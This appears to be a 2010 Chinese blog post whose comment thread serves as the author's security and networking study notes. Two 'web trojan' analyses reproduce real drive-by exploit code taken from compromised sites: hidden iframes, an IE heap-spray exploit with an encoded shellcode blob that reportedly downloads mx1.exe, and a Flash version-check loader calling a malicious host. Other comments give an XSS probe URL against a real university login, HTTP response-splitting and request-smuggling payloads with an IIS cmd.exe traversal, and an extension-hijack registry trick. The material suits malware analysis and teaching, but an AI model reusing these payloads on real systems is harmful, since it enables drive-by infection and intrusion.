小默

C 语言楼

RT

posted on 2010-11-10 15:28 小默 阅读(1824) 评论(14)  编辑 收藏 引用 所属分类: Language

评论

# XSS(Cross Site Scripting,跨站) 2010-11-10 17:05 小默

适用:动态站点,静态站点不受其影响。
目的:窃取用户信息。如窃取Session等。
伪装:一般将链接编码,避免用户怀疑它的合法性,骗取用户点击。  回复  更多评论   

# re: C 语言楼 2010-11-10 18:18 小默

http://learn.bit.edu.cn/mdes/security/profile/login_student.jsp?studentNum=%22%3E%3Cscript%3Ealert('wvs-xss-magic-string-347870161');%3C/script%3E&password=1&login=%B5%C7%C2%BC

扫描器扫出来的,不知道怎么用T_T
  回复  更多评论   

# 一个网马分析1 2010-11-10 22:13 小默

view-source:http://youth.dlmu.edu.cn/news/rss/news.php?1548.html

查找<script
<script src=http://202.201.48.18/dwtzb/mxd/xd.png?36036000></script>
但是这个东西是嵌在<html></html>中的,不会执行? TODO

不管能不能执行了,先看下是什么吧。
chrome不能查看.png格式的源码。手动GET:
[green@colorfulgreen ~]$ telnet 202.201.48.18 80
Trying 202.201.48.18...
Connected to 202.201.48.18.
Escape character is '^]'.
GET /dwtzb/mxd/xd.png?26026000 HTTP/1.0

HTTP/1.1 200 OK
Date: Wed, 10 Nov 2010 14:08:51 GMT
Server: Apache/2.0.48 (Unix) PHP/5.2.0
Last-Modified: Thu, 26 Aug 2010 17:48:08 GMT
ETag: "12f820-14a-99d9e600"
Accept-Ranges: bytes
Content-Length: 330
Connection: close
Content-Type: image/png
X-Pad: avoid browser bug

document.writeln("<iframe src=http://202.201.48.18/dwtzb/mxd/bie.html width=100 height=0></iframe>");
document.writeln("<iframe src=http://202.201.48.18/dwtzb/mxd/bie6.html width=100 height=0></iframe>");
document.write ('<script language="javascript" type="text/javascript" src="http://js.users.51.la/3383360.js"></script>');
  回复  更多评论   

# 一个网马分析2 2010-11-10 22:36 小默

看下第一个iframe嵌的页面
http://202.201.48.18/dwtzb/mxd/bie.html


<div id=sun style='display:none'>MM528384NNXX%u0C0C%u9090%u10EB%u4B5B%uC933%uB966%u047B%u3480%uC20B%uFAE2%u05EB%uEBE8%uFFFF%u2BFF%uC13D%uC2C2%uA69D%uF263%uC2C2%u49C2%uCE82%uB249%u6FDE%uAA49%u49CA%uA835%u9BCD%u5D2A%uC2C1%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%uCE84%u2D2A%uC2C0%u49C2%uA82A%u9BC3%uBD2A%uC2C1%u20C2%uAA3B%uACAD%uC2C2%uB7AA%uAEB0%u96AF%u8449%u2ACE%uC012%uC2C2%u2A49%uC3A8%u2A9B%uC1A2%uC2C2%u3B20%uAEAA%uF0F1%uAAC2%uAAB1%uAEA7%u4996%uCE84%u732A%uC2C0%u49C2%uA82A%u9BC3%u832A%uC2C1%u20C2%u433B%uC22E%uC2C3%u49C2%u431E%u4201%uC2C2%uA8C2%uA8C2%u91D8%uC2A8%u943D%uF186%u8202%uFE42%uC2C1%u3BB7%u444B%uC252%uC2C2%uC605%u9EC1%uECA3%u05A7%uC186%uBAC6%uC2A7%uF1C2%u930B%u9193%u9395%u02F1%u8449%u2A82%uC09C%uC2C2%u3A41%uCDC2%uBD47%uC2C3%uA8C2%uA8C2%uA8C2%uA8C1%uA8C2%uAAC0%uC2C2%u02C2%u4991%uE684%uFF2A%uC2C0%u41C2%u3D3A%u46CD%uC39C%uC2C2%u844B%uA8A2%u92C2%u943D%u4BEA%uA684%u4449%uC252%uC2C2%uC605%u9EC1%uECA0%u05A7%uC186%uBAC6%uC2A7%uA8C2%uA8C2%uA8C2%uA8C0%uA8C2%uAAC2%uC2C2%u82C2%u4991%uE684%u392A%uC2C3%u41C2%u3D3A%u46CD%uC3DE%uC2C2%u444B%uC246%uC2C2%u5C4B%uC24E%uC2C2%u8449%uA8A2%uA8C2%uA8C2%u49C2%uA284%u3D92%uFA94%u8405%uC2B2%uC2C2%u05C2%uB684%uC2C2%uC2C2%u0543%uC0C2%uC2C2%u19F1%u9C49%uA8A6%u4FC2%uB284%uAA92%uC6C2%uC2C2%u3D95%uA2B4%u943D%uF1C6%u7B0B%uC6C2%uC2C2%uBE42%u3DCD%uB657%u42CE%uCDBE%uC23D%uC7B6%uB642%u3DCD%u2057%u4929%uEF01%uC6C2%uC2C2%u3A41%uBDC2%u4BC1%uB29C%uC2A8%u844F%u92B6%uB43D%u95B2%u743D%uC246%uC2C2%u943D%u43F2%uC229%uC2C6%u41C2%uC239%u67BD%uB43D%u3DA2%uF694%u743D%uC246%uC2C2%u943D%u49F6%u5244%uC2C2%u49C2%u4E5C%uC2C2%u05C2%uC1C6%uA39E%uA7EC%u3D91%uEE94%u7C49%uC24E%uC2C2%u4449%uC252%uC2C2%uC605%u9EC5%uECA0%u43A7%uC22E%uC2C3%u49C2%uAA1E%uC3C2%uC2C2%uAA91%uC3C2%uC2C2%uA895%uA8C2%u3DC2%uDE94%u3949%u02F1%u19F1%u2E43%uC0C2%uC2C2%u0E49%u3A41%uBF96%u4BCA%uC3DE%u0241%u29C6%u4931%u490E%u411B%uD201%u02F1%u9392%u9291%u9292%u9292%u9592%u9292%u8449%u2ACA%uC3C4%uC2C2%uBC49%u2AFE%uC390%uC2C2%uF52A%uC2C2%uAAC2%uB4A1%uC2B5%uB1AA%uA6AA%u96AD%u8449%u2ACE%uC274%uC2C2%u844B%uA6FE%uC663%uC2C2%u4FC2%uA262%u3D3D%uA83D%u3DA7%uFEB4%u8449%u2AD2%uC258%uC2C2%u19F1%u9191%u9191%u123D%uC12A%uC2C3%u43C2%uC22E%uC2C3%u49C2%u413E%uC605%uC505%uB6F0%uCE53%u8505%uA1C6%u134B%u058D%uCA85%uA762%u0955%u8505%u93CE%u7882%u05BD%uD285%uDFFC%uFB74%u8505%u7AD6%u16AB%u05D9%uDA85%uBD7C%u62A4%u8505%u3EDE%uF56B%u056F%uE285%uC85A%u3AD2%u63A6%uC2F2%uC2C2%u8249%u49CE%uDEB2%u496F%uCAAA%u3549%u944B%uA8A6%u9BC6%u032A%uC2C2%u52C2%u3A20%uF1AA%uC2F0%uAAC2%uB197%uB0A7%u4996%u2AC4%uC2D0%uC2C2%u2A49%uC7A8%u2A9B%uC260%uC2C2%u3B20%u3DF1%u3D95%uC694%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2A2%uC2C2%u4301%uC7BA%u5252%u5252%uCAB6%u3D49%u4997%u4F2E%uC782%u223D%u852A%uC2C2%u01C2%uFA42%uB62A%u42D0%u2BFA%uCFB6%uFA42%uB629%u3DCA%u2A22%uC2F2%uC2C2%u4301%uC7BA%u5252%u5252%u1AB6%uCAAA%uC2C8%u4FC2%uC782%u223D%uD52A%uC2C2%u01C2%uD32A%uC2C2%u7AC2%uC3D3%u42C6%uCE00%u29C2%u9AC0%u2A01%u3D3B%u3D3D%u0499%u7AC5%u9D4B%uA4C3%u8505%u3DC7%u0122%u4991%u911E%u82A8%uC2AA%uC2D2%u95C2%u8449%u2AE2%u3DAA%u3D3D%u019A%u9493%uB749%u49FE%uECB6%uC1BA%u9437%uB449%uC1E2%uF137%u8B0B%u6F83%u07C1%u19F1%u7CCD%uF8D2%uB614%u03CA%uC509%u18C1%u2982%uF933%uB7DD%u9C25%u9C49%uC1E6%uA41F%uCE49%u4989%uDE9C%u1FC1%uC649%uC149%u6907%u9B9C%u2A01%u393E%u3D3D%u3070%u3620%uF470%uD1CD%u8A32%uFFB9%uB6F0%uCE53%u1D47%u796D%u4BA1%u8D13%u8293%uBD78%u50C5%uB2E0%u66DC%u2DA6%uF051%u5626%uD14C%u6EC8%uFBBB%u5A24%u4F06%uB6DD%uA495%u3DCF%u7C81%u196E%uC85A%u3AD2%u1442%u586D%u9139%uA4D7%uB6AA%uB2B6%uEDF8%uF0ED%uF0F2%uF0EC%uF3F2%uF6EC%uECFA%uFAF3%uA6ED%uB6B5%uA0B8%uAFED%uA6BA%uAFED%uF3BA%uA7EC%uA7BA%uC2C2%uC2C2YY</div>

<BUTTON ID='EXP' ONCLICK='exp();' STYLE='DISPLAY:NONE'></BUTTON>
<script language="JavaScript">
function code()
{
var div=document.getElementById('sun'); //获取属性值
var decode=div.innerHTML; //返回表格行开始和结束标签之间的所有内容
var x=decode.indexOf('MM');
var y=decode.indexOf('NN');
var xxcode=decode.substring(x+2,y);
return xxcode; //返回MM和NN之间的数据,在这里是528384
}
function sc()
{
var div=document.getElementById('sun');
var decode=div.innerHTML;
var x=decode.indexOf('XX');
var y=decode.indexOf('YY')
var cc=decode.substring(x+2,y);
cc=unescape(cc);
return cc; //返回解密后的XX和YY之间的数据,也就是余下的全部
}

function exp()
{
var d=document.createElement('DIV');
d.addBehavior('#default#userData');
document.appendChild(d);
try{for (i=0;i<10;i++)
{d.setAttribute('s',window);}}
catch(e){}
window.status+='';
}
var memory;
var temptest = decodeURI(',sun,0c0c,sun,0c0c');
var nop=unescape(temptest.replace(/,sun,/g,'%u'));
var SC=sc();
var xcode=code()-SC.length*2;
while(nop.length <= xcode) nop+=nop;
nop=nop.substring(0,xcode - SC.length);
memory=new Array();
for(i=0;i<0x100;i++){memory[i]=nop + SC;}

CollectGarbage();
document.getElementById('EXP').onclick();
</script>

-------------
<div id=sun
下面的一堆代码是shellcode,解密后有下面exe文件:
http://202.201.48.18/dwtzb/mxd/mx1.exe  回复  更多评论   

# innerHTML 2010-11-11 10:34 小默

innerHTML返回开始和结束标签之间的所有内容
以下例子,alert框弹出<th>FirstName</th><th>Lastname</th>
<html>
<head>
<script type="text/javascript">
function getInnerHTML(){
alert(document.getElementById("tr1").innerHTML);
}
</script>
</head>
<body>
<table border="1">
<tr id="tr1"><th>FirstName</th><th>Lastname</th></tr>
<tr id="tr2"><td>Peter</td><td>Griffin</td></tr>
</table>
<input type="botton" onclick="getInnerHTML()" value="Alert innerHTML of table row">
</body>
</html>
  回复  更多评论   

# addBehavior Method 2010-11-11 10:58 小默

addBehavior使不需要使用CSS就能指定对象的行为。只针对IE。
偷懒了,直接用msdn上的一个例子。
光标移到LI标签的元素上,该元素就显示红色。
http://samples.msdn.microsoft.com/workshop/samples/components/htc/refs/addBehavior.htm
  回复  更多评论   

# 扩展名 执行 注册表 2010-11-11 17:26 小默

HKEY_CLASSES_ROOT\.ini
默认值是inifile
有些病毒会把inifile改成exefile,导致.ini结尾的文件可以按exe执行  回复  更多评论   

# 一个迷惑人的flash网马 2010-11-11 18:37 小默

http://bbs.ikaka.com/showtopic-8629683-1.aspx
by 轩辕小葱大牛
=======
下面是一个js脚本中的一段代码:
try{var l;
//尝试创建新的SWF9的ActiveX对象,并获得对象中$version属性的值,将其保存到变量Flashver中。
Flashver = (new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version");}
//使用变量l捕获错误
catch(l){};
finally{if(l!="[object Error]"){ //当不出现[object Error]错误,说明系统存在这个ActiveX控件并可用
if(Flashver.indexOf("9,0,16,")>0||Flashver.indexOf("9,0,28,")>0||Flashver.indexOf("9,0,45,")>0||Flashver.indexOf("9,0,47,")>0||Flashver.indexOf("9,0,64,")>0||Flashver.indexOf("9,0,115,")>0){ //检查Flachver中是否包含特定的版本号字样,如果是,说明漏洞存在
//在漏洞存在的情况下,使用Flashver变量为参数访问flash.asp,从而得到真正的恶意代码内容。
document.write('<iframe style=display:none src="http://30mm.azzwg.cn/cb/ff/flash.asp?id='+Flashver+'"></iframe>');}
}}

Flashver的值源于对象中的$version属性,在用于IE组件的SWF9控件中该属性的值的形式为"win 9,0,x,0",其中x是副版本号,也就是该代码最关心的依据。
符合条件的版本值如下
win 9,0,16,0
win 9,0,28,0
win 9,0,45,0
win 9,0,47,0
win 9,0,64,0
win 9,0,115,0

以win 9,0,16,0为例,iframe中嵌入的链接地址为http://30mm.azzwg.cn/cb/ff/flash.asp?id=win%209,0,16,0
(Flashver中的空格给escape了)

上面这个链接得到的网页内容:
<script type="text/javascript" src="swfobject.js"></script>
<div id="flashcontent">YES</div>
<script type=text/javascript>var so=new SWFObject("GG16.swf","mymovie","0.1","0.1","9","#000000");so.write("flashcontent");</ScripT>

所以真正的畸形swf文件地址是http://30mm.azzwg.cn/cb/ff/GG16.swf

-----
原来的flash网马分析实践中,我们经常看到网页中加载的.swf文件是ie.swf或ff.swf
其实这两个文件并不是触发漏洞的畸形swf文件,其功能只是获取SWF控件版本并连接到真正的畸形swf文件。
其使用的方法,正是在swf中加入脚本,通过获取$version属性,使用 $version+".swf" 的形式生成相应的畸形swf文件地址并调用相应函数加载之,从而触发漏洞。

因此我们再看本帖所提到的脚本代码,就可以发现,以上这种判断flash控件版本以加入相应地址的方法,其实只是原来的方法的“外化”。由于现在的代码直接以javascript的方式表现出来,而不是编译在swf文件中,所以实际上比原来更简单更容易判断了。  回复  更多评论   

# ASCII表 2010-11-12 22:35 小默

Bin Dec Hex 缩写/字符 解释
00000000 0 00 NUL(null) 空字符
00000001 1 01 SOH(start of headling) 标题开始
00000010 2 02 STX (start of text) 正文开始
00000011 3 03 ETX (end of text) 正文结束
00000100 4 04 EOT (end of transmission) 传输结束
00000101 5 05 ENQ (enquiry) 请求
00000110 6 06 ACK (acknowledge) 收到通知
00000111 7 07 BEL (bell) 响铃
00001000 8 08 BS (backspace) 退格
00001001 9 09 HT (horizontal tab) 水平制表符
00001010 10 0A LF (NL line feed, new line) 换行键
00001011 11 0B VT (vertical tab) 垂直制表符
00001100 12 0C FF (NP form feed, new page) 换页键
00001101 13 0D CR (carriage return) 回车键
00001110 14 0E SO (shift out) 不用切换
00001111 15 0F SI (shift in) 启用切换
00010000 16 10 DLE (data link escape) 数据链路转义
00010001 17 11 DC1 (device control 1) 设备控制1
00010010 18 12 DC2 (device control 2) 设备控制2
00010011 19 13 DC3 (device control 3) 设备控制3
00010100 20 14 DC4 (device control 4) 设备控制4
00010101 21 15 NAK (negative acknowledge) 拒绝接收
00010110 22 16 SYN (synchronous idle) 同步空闲
00010111 23 17 ETB (end of trans. block) 传输块结束
00011000 24 18 CAN (cancel) 取消
00011001 25 19 EM (end of medium) 介质中断
00011010 26 1A SUB (substitute) 替补
00011011 27 1B ESC (escape) 溢出
00011100 28 1C FS (file separator) 文件分割符
00011101 29 1D GS (group separator) 分组符
00011110 30 1E RS (record separator) 记录分离符
00011111 31 1F US (unit separator) 单元分隔符
00100000 32 20 (space) 空格
00100001 33 21 !
00100010 34 22 "
00100011 35 23 #
00100100 36 24 $
00100101 37 25 %
00100110 38 26 &
00100111 39 27 '
00101000 40 28 (
00101001 41 29 )
00101010 42 2A *
00101011 43 2B +
00101100 44 2C ,
00101101 45 2D -
00101110 46 2E .
00101111 47 2F /
00110000 48 30 0   回复  更多评论   

# HTTP截断 HTTP走私 2010-11-13 01:28 小默

http://netsecurity.51cto.com/art/201001/177371.htm
----------

概述

对特定的HTTP报头的攻击。

HTTP截断攻击
利用缺乏输入消毒措施的漏洞,允许入侵者向应用程序响应的头部插入CRL和LF字符,从而将响应分割成两个不同的HTTP消息。
该攻击的目标既不同于缓存投毒,也不同于跨站脚本攻击。 //TODO

HTTP走私攻击
一些专门精心制作的HTTP消息可能会随着接收它们的代理的不同,而作不同的解析和解释。
要求对HTTP消息的各种代理相当熟悉,否则无法发动这种攻击。

------
HTTP截断攻击黑盒测试

一些web应用程序会使用部分用户输入来生成它们的响应头部的某些值。如重定向,目标url依赖于用户提交的某些值。
举例来说,假如用户被要求在标准web接口和高级web接口之间做出选择,然后,选择的结果将作为一个参数传递,并且这个参数将用于触发重定向到相应的页面的应答头中。也就是,用选择用参数来标识,参数用于页面应答头中,用来触发重定向。
如果该参数的interface的值是advanced,那么应用程序将响应下列内容:


HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2009 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced


//TODO 什么意思?

收到这个消息后,浏览器把用户引向Location头部指定的页面。
如果应用程序不过滤用户输入,攻击者在参数interface中插入序列%0d%0a,将能够触发一个响应,并且解释器(如介于用户和web应用之间的web缓存)会把这个响应解释成两个不同的响应。从而攻击者可以通过给这个web缓存“投毒”使它为后续的请求提供虚假内容。

假设攻击者使用以下内容作为参数interface进行传递:

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length%2035%0d%0aSorry,%20System%20Down

即:
advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

Sorry, System Down

没有对用户输入进行严格消毒的应用程序中得到的响应将是下面的内容:

HTTP/1.1 302 Moved Temporarily
Date: Sun, 03 Dec 2009 16:22:19 GMT
Location: http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced">http://victim.com/main.jsp?interface=advanced
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 35

Sorry, System Down

Web缓存将看到两个不同的响应。如果攻击者发送第一个请求后,以及发送另外一个请求,请求/index.html,Web缓存就会认为和第二个响应相匹配,并缓存第二个响应内容。这样,后面所有指向victim.cm/index.html的请求都会收到system down的消息。

通过这种方式,能够有效涂改站点在使用Web缓存的用户心中的形象。
如果这个Web缓存是Web应用程序的一个反向代理的话,这个Web应用程序在整个因特网的用户都会受到影响。 //TODO.类似于搜狗浏览器的上国际网代理?
另外,攻击者还可以向这些用户传输发动跨站脚本攻击的js代码,窃取cookie等。

查找这个漏洞,需要识别能影响一个或多个头部的用户输入,并检查是否能够在其中注入一个CR+LF序列。和这个攻击关机密切的两个头部:
Location
Set-Cookie

利用这个漏洞比较复杂,要考虑一些因素:
1.要使伪造的响应被缓存:必须正确设置其中各个头部,如Last-Modified头部的值必须设为将来的一个时间;必须破坏目标页面先前的缓存版本,方法是提交一个请求头部中带有"Pragma: no-cache"的前导页面来防止页面被缓存。
2.应用程序可能过滤了发动攻击所需的其它字符,如<>等。可以尝试使用其他编码,如UTF-7等。
3.某个攻击目标(如ASP)会对Location头部(如www.victim.com/redirect.asp)中的路径部分进行URL编码处理,这样CRLF序列不起作用了。但是它们不能对查询部分(如?interface=advanced)进行这样的编码处理,这意味着放置一个前导问号就能够绕过这种过滤技术。

-----------
HTTP走私攻击黑盒测试

利用的漏洞:某些精心构造的HTTP消息会随不同的代理(浏览器、web缓存、应用程序防火墙)而做不同的解释。

这里只介绍一种:绕过应用程序防火墙。

针对IIS服务器的Unicode目录遍历攻击能够通过提交下面请求发动攻击:
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+ //TODO
通过检查url是否存在类似".."和"cmd.exe"可以检测和过滤掉这种攻击。
但是IIS 5.0对POST请求主体的的长度限制为48KB。当Content-Type头部不同于application/x-www-form-urlencode时,查出该限制的部分会被全部截断。
IIS对请求主体的长度有限制,但Web应用防火墙对请求主体的长度没有这个限制。

攻击者可以创建一个很大的请求:
POST /target.asp HTTP/1.1 <-- Request #1
Host: target
Connection: Keep-Alive
Content-Length: 49225

<49152 bytes of garbage>
POST /target.asp HTTP/1.0 <-- Request #2
Connection: Keep-Alive
Content-Length: 33

POST /target.asp HTTP/1.0 <-- Request #3
xxxx: POST /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 <-- Request #4
Connection: Keep-Alive


这里Request #1由49223字节组成,所以Qequest #1还包含了Request #2的几行内容,防火墙能看到#1但无法看到#2。同样能看到#3却无法看到#4(因为该POST正好是伪造的头部xxxx部分?)。
IIS 5.0将在49152字节(48K)无用信息后停止对Request #1的解析。并将Request #2解析为一个新的、单独的请求。#2内容为33字节,正好到xxxx:之前的所有内容。IIS 5.0看不到#3,因为#3被解释成#2的一部分。但是IIS会认出#4。
于是该#4不会被防火墙发现,但能被IIS正确解析和执行。

利用:利用各种支持HTTP的设备在解析不兼容1005 RFC的消息时采用不同方式,来发动攻击。如:
HTTP协议只允许一个Content-Length头部,但没有规定如何处理具有两个Content-Length头部的消息。一些将使用第一个,而另一些将使用第二个,这种情况下就容易遭到HTTP走私的攻击。
另一个例子是GET消息中Content-Length头部的使用。  回复  更多评论   

# 两类windows漏洞临时解决方案 2010-11-13 21:33 小默

允许在受影响的系统上远程执行代码,但必须要求用户交互才能利用这些漏洞。
临时解决方案:不交互

--

某服务(如DHCP Server)中存在漏洞。
临时解决方案:不安装/开启相关服务;防火墙封堵相关端口(如UDP 67/68)。

  回复  更多评论   

# 配合代理脚本 实现访问内外网站的自动转换 2010-11-13 22:20 小默

起因:公司启动了内部OA(办公自动化)系统。但不同部门不在一个局域网内。

解决方案1: VPN接入。
方案1缺陷:不同部门用不同ISP接入互联网,VPN服务器配置不一致。 //TODO VPN配置方法

解决方案2: 使用代理服务器。 //TODO 代理服务器是公司自己架一台服务器,还是在ISP租一台?自己架的话放到哪儿?
方案2缺陷:访问OA时需要在IE中设置代理服务器;访问互联网时需要取消代理服务器的设置。每次都需要手动配置很麻烦。
解决办法:使用代理自动配置脚本(PAC-file: Proxy Auto-Config file)。

PAC脚本:以.PAC为扩展名的Javascript脚本,实际上就是定义一个名为FindProxyForURL的js函数,该函数会被浏览器自动调用,从而实现代理服务器的自动转换。

function findproxyforurl(host, url) //js不区分大小写
{
if(shexpmatch(host,"*.jifang.com.cn")) //访问内网OA域名,使用代理
return "proxy 218.xxx.xxx.30:8080"
else if(shexpmatch(host, "172.16.*.*")) //访问内容某ip地址,使用代理
return "proxy 218.xxx.xxx.30:8080"
else //其它直接连接
return "direct"
}  回复  更多评论   

# Cisco IOS 初始配置 2010-12-07 09:35 小默

——路由器模式——
Router>enable // 进入特权exec模式
Router#configure terminal // 进入全局配置模式
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#exit // 退出全局配置模式
Router#disable // 退出特权exec模式

——打开路由器电源后——
1、硬件测试:内存、接口
2、加载IOS镜像,即路由器操作系统
3、查找并使用配置信息

——虚拟配置注册表——
  回复  更多评论   

# 插楼 - DNS查询 首选DNS 备用DNS 2010-12-08 18:55 小默

http://betternextday.spaces.live.com/Blog/cns!91CB16EB3BCAAC7B!395.entry
---------------------------
Windows系统中DNS查询的原理.首先,Windows操作系统中,对DNS的相应方式是,使用第一个应答.就先来先用.然后我们来分析一下查询的机制(并不是第一个DNS完全失败以后才用第二个DNS)
如果只有一块网卡的情况下:

1. 客户端向网卡上配置的首选DNS发送查询请求,并等待1秒.
2. 如果1秒内无响应(哪怕因为网络延迟未能传到机器也算),客户端再次向首选DNS服务器发送查询请求,等待2秒钟
3. 如果这2秒钟内依然没有相应,客户端会向所有配置过的DNS服务器同时发出查询请求(包括首选).并等待2秒钟您看到的文章来自活动目录seo http://gnaw0725.blogbus.com/c1404551/

4. 如果这2秒钟内还是没有相应. 客户端会向所有配置过的DNS服务器同时发出查询请求(包括首选).并等待4秒钟
5. 如果这4秒钟内还是没有相应. 客户端会向所有配置过的DNS服务器同时发出查询请求(包括首选).并等待8秒钟
6. 如果8秒内依然没有相应的话,客户端停止查询,并且在DNS的缓存中做一个Negative的记录,表示这个名字的DNS不存在.
另外还有多网卡的情况,也有略微的不同.
具体可以参考这篇文章:
DNS Processes and Interactions

http://technet.microsoft.com/en-us/library/dd197552.aspx  回复  更多评论   


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理


导航

统计

留言簿(13)

随笔分类(287)

随笔档案(289)

漏洞

搜索

积分与排名

最新评论

阅读排行榜